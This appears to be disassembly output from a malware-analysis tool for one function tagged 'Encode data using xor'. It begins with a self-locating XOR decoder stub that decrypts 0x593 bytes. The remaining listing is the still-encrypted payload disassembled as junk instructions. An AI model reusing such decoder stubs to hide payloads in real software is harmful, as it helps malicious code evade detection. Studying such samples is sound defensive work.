Function at 0xee4d7c
Capabilities:
Encode data using xor

Disassembly:
jmp 0xee4d86
pushal
call 0xee4d8c
pop ebp
sub ebp, 0x10
sub ebp, 0xae4d7c
jmp 0xee4da2
mov eax, 0xae4d7c
add eax, ebp
add eax, 0x4c
mov ecx, 0x593
mov edx, 0x791aca65
xor byte [eax], dl
inc eax
dec ecx
jne 0xee4db9
jmp 0xee4dcc
out dx, al
test al, 0xee
in al, dx
pop ecx
in al, 0xa4
popfd
test al, 0xdd
arpl word [ebp + 0x65], sp
fisttp word gs:[ebp + 0x65]
xchg edx, eax
xchg dword [esi - 0x53], esp
out dx, al
in al, 0x69
mov al, byte gs:[0x90d3535]
bound eax, qword [ebp + 0xd]
push 0x6465e823
dec ecx
inc ecx
or eax, 0x7f6cba0b
lea esp, [eax + 0x65]
mov word gs:[ebx + 0x65], cs
call 0xed878f16
dec ecx
inc ecx
out dx, al
mov esi, ebp
loopne 0xee4e89
out dx, al
invalid
add ebp, esi
jns 0xee4eeb
in eax, 0x9e
lea ebp, [edx - 0x1f]
jg 0xee4efb
in eax, 0x9e
mov word [edx - 0x1f], gs
je 0xee4f04
add esp, esp
sahf
lcall 0x6565, 0x70e16a40
and al, 0x8c
test eax, 0x4c9a9a9a
sub dword [esp - 0x1a], ebx
movsb byte es:[edi], byte [esi]
pushal
out 0x8d, al
popal
mov eax, ds
lcall 0x675c, 0x314c9a9a
out 0xa4, al
lcall 0xe667, 0x5c314c9a
movsb byte es:[edi], byte [esi]
arpl si, sp
invalid
lcall 0xee30, 0x6569a738
mov dword [ebx], esi
xor dh, byte [eax]
out dx, al
adc byte [ecx - 0x12], ch
sbb byte [ebp - 0x67], ch
xlatb
in eax, 0xef
arpl sp, sp
mov dword [0x65656564], eax
in eax, dx
in eax, dx
in eax, dx
invalid
mov bh, 0x6a
mov bh, 0x6a
mov bh, 0x6a
loopne 0xee4f60
out dx, eax
jae 0xee4f29
ja 0xee4ebf
push 0xffffffffffffffe6
mov ebp, 0x679a9a9a
mov bh, 0x6a
loopne 0xee4f73
out 0xbd, al
lcall 0xe06a, 0xb7679a9a
pushal
out dx, eax
jae 0xee4f3c
and esi, dword [edi - 0x49]
ja 0xee4ed2
push 0xffffffffffffffe6
pcmpgtw mm4, qword [ebp + 0x65]
push esi
movsd dword es:[edi], dword [esi]
mov bh, 0x6a
loopne 0xee4f88
pushal
out dx, eax
out dx, eax
jae 0xee4f51
ja 0xee4ee7
push 0xffffffffffffffe6
dec edi
mov bh, 0x6a
loopne 0xee4f9b
out dx, eax
out dx, eax
jae 0xee4f64
ja 0xee4efa
jbe 0xee4eea
movsd dword es:[edi], dword [esi]
mov bh, 0x6a
loopne 0xee4faa
out dx, eax
jae 0xee4f73
ja 0xee4f09
mov bh, 0x76
movsd dword es:[edi], dword [esi]
jbe 0xee4ef9
mov bh, 0x6a
loopne 0xee4fb9
out dx, eax
jae 0xee4f82
ja 0xee4f18
mov bh, 0x76
movsd dword es:[edi], dword [esi]
jbe 0xee4f08
mov bh, 0x6a
mov bh, 0x6a
loopne 0xee4fc8
out dx, eax
jae 0xee4f91
ja 0xee4f27
jbe 0xee4f17
push 0xffffffffffffffe1
arpl word [ebp + 0x65], sp
out dx, al
loope 0xee4fd8
out dx, al
mov edx, 0x66efbd4e
in eax, dx
bound esp, qword [edx]
fisub word [edi + 0x65]
mov word gs:[0xdd9a9a9a], ss
mov bh, 0x6a
mov word gs:[di], ss
lcall 0x6565, 0x64dd9a9a
mov bh, 0x6a
mov bh, 0x6a
loopne 0xee4ff5
out dx, eax
out dx, eax
jae 0xee4fbe
ja 0xee4f54
jbe 0xee4f44
mov bh, 0x6a
loopne 0xee5004
out dx, eax
jae 0xee4fcd
ja 0xee4f63
push 0xffffffffffffffe7
mov ebx, 0x4e9a9a9a
cmpsb byte [esi], byte es:[edi]
fisub word [ebp + 0x65]
push 0xffffffffffffffe0
push 0xffffffffffffffe0
push ecx
fsub qword gs:[ebp + 0x65]
fsub qword gs:[ebp + 0x65]
mov bh, 0x6a
mov bh, 0x6a
loopne 0xee5029
pushal
out dx, eax
jae 0xee4ff2
ja 0xee4f88
jbe 0xee4f7f
mov bh, 0x6a
mov bh, 0x6a
loopne 0xee5038
out dx, eax
jae 0xee5001
ja 0xee4f97
push 0xffffffffffffffe7
mov ebx, 0x339a9a9a
out dx, al
xchg edx, eax
dec esi
nop
xchg esi, eax
sar dword [ebx], 0x8c
insd dword es:[edi], dx
lcall 0x6d85, 0xa42d9a9a
out dx, eax
lcall 0x63ef, 0x6d85a42d
and ebp, esi
test dword [ebp - 0x11], ebp
arpl word [ebx], sp
out dx, al
invalid
mov bh, 0x6a
loopne 0xee5066
out dx, eax
jae 0xee502f
ja 0xee4fc5
jbe 0xee4fbc
mov bh, 0x6a
loopne 0xee5075
out dx, eax
jae 0xee503e
ja 0xee4fd4
push 0xffffffffffffffe7
mov ebx, 0xe49a9a9a
popfd
sbb byte gs:[ebp + 0x65], ah
in al, 0xbc
lcall 0x659d, 0xe49a9a9a
pushal
in al, 0x9d
pushal
in al, 0xbc
lcall 0xe59d, 0xe49a9a9a
lcall 0x65e5, 0x9de49a9a
in al, 0xb4
in al, 0xb4
in al, 0x9d
in eax, 0x65
in al, 0xb4
xor ebp, esi
xchg edx, eax
dec esi
xchg ebp, eax
xchg esi, eax
sar dword [ebx], 0x8c
invalid
lea esp, [edx + ebp*2 - 0x1f]
jg 0xee50d1
in al, 0xb4
out dx, al
lea esi, [ebx]
out dx, al
xchg edx, eax
dec esi
xchg ebp, eax
xchg esi, eax
sar dword [ebx], 0xde
mov word gs:[esi], ss
wait
lcall 0xee6d, 0x184e389a
mov byte [0x80ee3b3a], al
cmp byte [edi + 0x3b3a656d], ah
mov word [ecx + 0x65], fs
jno 0xee50e9
jmp 0x29082e11
dec ebx
invalid
pop esp
scasd eax, dword es:[edi]
cld
and byte [edi - 0x10], dh
invalid